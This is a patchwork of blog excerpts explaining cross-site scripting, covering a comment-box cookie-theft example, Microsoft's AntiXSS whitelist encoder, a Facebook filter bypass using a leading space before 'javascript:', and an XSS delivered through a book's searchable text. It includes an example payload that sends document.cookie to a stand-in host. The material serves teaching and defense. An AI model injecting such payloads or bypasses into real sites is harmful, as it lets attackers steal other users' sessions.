Cross-site scripting attacks, or XSS, are a common web application vulnerability in which an attacker uses your website to present malicious code to another user. OWASP sums it up like this:

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

A simple example of this kind of attack works like this:

1. A hacker - we'll call him Barry - notices that my blog's comment system doesn't screen input
2. Barry posts some malicious content, maybe something with a script tag, or maybe something that steals cookies, like
   Great post! Gucci handbags! <img src='http://evil.ly/?cookies=' + escape(document.cookie)" />
3. The next person to visit my site - we'll call him Rob Conery - is presented with the HTML that Barry posted in the comment, which grabs their cookies and sends them off to their evil server

This is a simple example, but as you can imagine, these attacks can get pretty devious. Twitter, Facebook, and MySpace have been hit with this. Take a look at the OWASP writeup for more info, and take a look at the XSS Cheat Sheet at ha.ckers.org to get an idea of how sneaky these attacks can be.

AntiXSS

AntiXSS, part of the Windows Protection Library, has a lot of encoding functions which help prevent XSS attacks in ASP.NET applications. Whereas the standard .NET framework encoding uses a blacklist approach, filtering out known bad characters, like < > and " characters, the AntiXSS library uses a whitelist of known good characters. AntiXSS also has protections in place spanning character sets in over a different languages. Due to this approach, AntiXSS is inherently safer against new XSS attacks.

There are two ways you can use AntiXSS in your ASP.NET applications:

1. You can make use of the AntiXSS Encoder in your application code (e.g. controller code, View markup, Web Forms code behind, and Web Forms markup)
2. If you're using ASP.NET 4.0, you can also specify a default encoder, which will be used by ASP.NET whenever it needs to encode output. The recommended approach is to use AntiXSS as your default encoder.

This is about to be my world.

If I had a dollar for every HTML escaper that only escapes &, <, >, and ", I'd have $0. Because my account would've been pwned via XSS."

This was exaggeration for effect—there aren’t many cases where a simple XSS injection could actually empty a bank account—but I wanted to make a point.

When the page first loads, the “video” is actually just an image placeholder with a link. Part of the href parameter for that link is shown above. Note the space after the opening quotation mark – that’s where the XSS comes in. Normally, Facebook would block a link to a javascript: URL. Adding the space worked around Facebook’s filters, but the browser would still execute the rest of parameter.

According to Facebook, it turned out that some older code was using PHP’s built-in parse_url function to determine allowable URLs. For example, while parse_url(“javascript:alert(1)”) yields a scheme of “javascript” and a path of “alert(1)”, adding whitespace gives a different result: parse_url(” javascript:alert(1)”) does not return a scheme and has a path of “javascript:alert(1)”. Other PHP developers should take note of the difference if parse_url is being used in security-related code.

XSS is no joke, kids.

 

One of the most common questions I receive when doing appsec consulting revolves around cross-site scripting. Specicially, I am asked constantly why it is that stealing a cookie via reflected cross-site scripting has so many steps. If the goal is to get a victim to run a malicious script that steals cookies, and the attacker has to send the victim a link anyway...why not just send them a link to a script and be done with it? Why waste time with all this reflection?

My latest post on the HP Application Security blog.

Whereas the standard example for a stored XSS vulnerability over an out-of-band channel is a web mailer like OWA using SMTP here this channel for the attack is kind of — err, let's put it this way — unusual: One has to write a book! No, I am serious. This book needs to contain a crafted string so that it bypasses their weak/not existing filters/encodings and of course this book needs to be sold through Amazons shop and last but not least Amazon has to offer the "search in this book" functionality.

Nice.